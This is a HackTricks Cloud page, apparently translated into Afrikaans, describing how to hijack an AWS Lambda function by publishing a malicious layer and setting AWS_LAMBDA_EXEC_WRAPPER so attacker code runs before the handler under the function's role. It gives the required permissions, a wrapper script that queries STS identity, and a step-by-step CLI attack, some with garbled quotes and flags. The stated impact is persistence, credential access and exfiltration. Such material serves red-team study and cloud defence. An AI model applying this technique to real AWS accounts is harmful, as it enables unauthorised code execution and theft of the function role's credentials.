AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Opsomming
Misbruik die omgewingveranderlike AWS_LAMBDA_EXEC_WRAPPER om ân aanvaller-gekontroleerde wrapper-skrip uit te voer voordat die runtime/handler begin. Lewer die wrapper via ân Lambda Layer by /opt/bin/htwrap, stel AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, en roep dan die funksie aan. Die wrapper hardloop binne die funksie se runtime-proses, erf die funksie-uitvoeringsrol, en voer uiteindelik exec op die werklike runtime uit sodat die oorspronklike handler normaalweg voortgaan om te werk.
Warning
Hierdie tegniek gee kode-uitvoering in die teiken Lambda sonder om sy bronkode of rol te verander en sonder om
iam:PassRolete benodig. Jy het slegs die vermoĂ« nodig om die funksie-konfigurasie op te dateer en ân layer te publiseer/te heg.
Vereiste Toestemmings (aanvaller)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(of deur ân bestaande gebeurtenis te trigger)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(selfde rekening) en opsioneellambda:AddLayerVersionPermissionas ân cross-account/public layer gebruik word
Wrapper Skrip
Plaas die wrapper by /opt/bin/htwrap in die layer. Dit kan pre-handler logika uitvoer en moet eindig met exec "$@" om aan die werklike runtime te koppel.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Aanvalstappe (CLI)
Publiseer laag, heg aan teikenfunksie, stel wrapper, roep aan
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<âWRAPâ #!/bin/bash set -euo pipefail echo â[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGIONâ python3 - <<âPYâ import boto3, json print(â[ht] sts identity:â, import(âjsonâ).dumps(import(âboto3â).client(âstsâ).get_caller_identity())) PY exec â$@â WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
âlayer-name ht-exec-wrapper
âzip-file fileb://htwrap-layer.zip
âcompatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
âquery LayerVersionArn âoutput text âregion â$REGIONâ)
echo â$LAYER_ARNâ
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
âfunction-name â$TARGET_FNâ
âlayers â$LAYER_ARNâ
âenvironment âVariables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}â
âregion â$REGIONâ
Wait for update to finish
until [ â$(aws lambda get-function-configuration âfunction-name â$TARGET_FNâ âquery LastUpdateStatus âoutput text âregion â$REGIONâ)â = âSuccessfulâ ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke âfunction-name â$TARGET_FNâ /tmp/out.json âregion â$REGIONâ >/dev/null aws logs filter-log-events âlog-group-name â/aws/lambda/$TARGET_FNâ âlimit 50 âregion â$REGIONâ âquery âevents[].messageâ âoutput text
</details>
## Impak
- Pre-handler-kode-uitvoering in die Lambda runtime-konteks wat die funksie se bestaande uitvoeringsrol gebruik.
- Geen veranderinge aan die funksiekode of rol nodig nie; dit werk oor algemene beheerde runtimes (Python, Node.js, Java, .NET).
- Maak persistence, credential access (bv. STS), data exfiltration en runtime tampering moontlik voordat die handler begin.
> [!TIP]
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

